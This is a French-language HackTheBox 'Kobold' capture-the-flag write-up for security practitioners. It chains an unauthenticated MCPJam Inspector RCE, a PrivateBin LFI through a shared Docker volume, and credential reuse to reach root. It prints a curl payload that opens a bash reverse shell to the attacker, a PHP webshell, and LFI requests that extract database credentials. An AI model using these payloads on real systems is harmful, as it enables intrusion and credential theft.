RCE via MCPJam Inspector dans HackTheBox Kobold : Guide Complet
HackTheBox Kobold (Saison 10, Facile) met en lumière une menace réelle provenant d'outils de développement exposés dans l'écosystème IA/ML. Le vecteur d'attaque principal est un RCE non authentifié dans MCPJam Inspector v1.4.2 (GHSA-232v-j27c-5pp6). Cela conduit à une chaîne via les volumes Docker et la réutilisation d'identifiants, aboutissant finalement à un accès root. Cette analyse s'adresse aux professionnels DevSecOps de niveau intermédiaire à senior.
Nmap révèle les ports 22 (SSH), 80/443 (nginx, kobold.htb) et 3552 (tableau de bord Arcane). La clé est un sous-domaine générique *.kobold.htb dans SSL et le sous-domaine mcp.kobold.htb avec un MCPJam Inspector exposé.
Reconnaissance et Énumération
Scan nmap standard :
nmap -p- -sC -sV -oN recon/nmap/full.txt <IP cible>
| Port | Service | Version | Notes |
|------|---------|---------|-------|
| 22 | SSH | OpenSSH 9.6p1 | Pas de CVE |
| 80 | HTTP | nginx 1.24.0 | Redirige vers HTTPS |
| 443 | HTTPS | nginx 1.24.0 | kobold.htb |
| 3552 | HTTP | - | Tableau de bord Arcane |
ffuf pour l'énumération des vhosts :
ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
-u https://kobold.htb -H "Host: FUZZ.kobold.htb" -k -fs 154
Trouvé mcp.kobold.htb — MCPJam Inspector v1.4.2. Accès complet : Serveurs, Chat, App Builder sans connexion. Connecté à Ollama.
Model Context Protocol (MCP) — un protocole pour intégrer des modèles d'IA avec des outils externes. Inspector écoute sur 0.0.0.0, et l'API /api/mcp/connect accepte serverConfig.command sans validation.
Prise de pied : RCE dans MCPJam
Configuration du listener :
nc -lvnp 4444
Payload :
curl -k https://mcp.kobold.htb/api/mcp/connect \
-H "Content-Type: application/json" \
-d '{"serverConfig":{"command":"bash","args":["-c","bash -i >& /dev/tcp/<Votre IP>/4444 0>&1"],"env":{}},"serverId":"pwn"}'
Shell en tant que ben (uid=1001, groups=ben,operator). Stabilisation :
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Ctrl+Z; stty raw -echo; fg
export TERM=xterm
Drapeau utilisateur : /home/ben/user.txt.
Reconnaissance Interne
id
# uid=1001(ben) gid=1001(ben) groups=1001(ben),37(operator)
cat /etc/group | grep docker
# docker:x:111:alice
Utilisateurs avec shell : root, ben, alice. ben — operator, alice — docker.
ss -tlnp montre localhost:8080 (PrivateBin Docker), 6274 (MCPJam). La configuration nginx révèle bin.kobold.htb → localhost:8080.
Le groupe operator a un accès en lecture/écriture à /privatebin-data/ — un volume Docker partagé.
find / -group operator 2>/dev/null
LFI dans PrivateBin via Volume
PrivateBin 2.0.2 (CVE-2025-64714, GHSA-g2j9-g8r5-rg82). LFI via le cookie template lorsque templateselection = true.
- Webshell dans le volume :
cat > /privatebin-data/data/pwn.php << 'EOF'
<?php system($_GET['cmd']); ?>
EOF
- Exécution :
curl -k https://bin.kobold.htb/ \
-b "template=../data/pwn" \
-G --data-urlencode "cmd=id"
- Extraction de conf.php :
curl -k https://bin.kobold.htb/ \
-b "template=../data/pwn" \
-G --data-urlencode "cmd=cat /srv/cfg/conf.php"
Identifiants MySQL : utilisateur privatebin, mot de passe divulgué.
Élévation de Privilèges : Réutilisation d'Identifiants
Liste de contrôle :
- SSH (alice/ben/root + divulgué)
- su alice/root
- Arcane : arcane/arcane-admin + divulgué
Succès : arcane / <MOT_DE_PASSE_DIVULGUÉ> dans Arcane v1.13.0 sur :3552.
Dans le tableau de bord, contrôle complet de Docker. Créer un conteneur avec un montage privilégié /host → shell root.
Points Clés à Retenir :
- Outils MCP exposés (GHSA-232v-j27c-5pp6) — un nouveau vecteur RCE dans l'infrastructure IA
- Volumes Docker partagés + groupe operator = accès au système de fichiers hôte
- Réutilisation d'identifiants : noms d'utilisateur par défaut + mots de passe divulgués
- Chaînage LFI via des volumes accessibles en écriture contourne l'isolation des conteneurs
- Toujours énumérer les sous-domaines génériques et les services internes
— Editorial Team
Aucun commentaire pour le moment.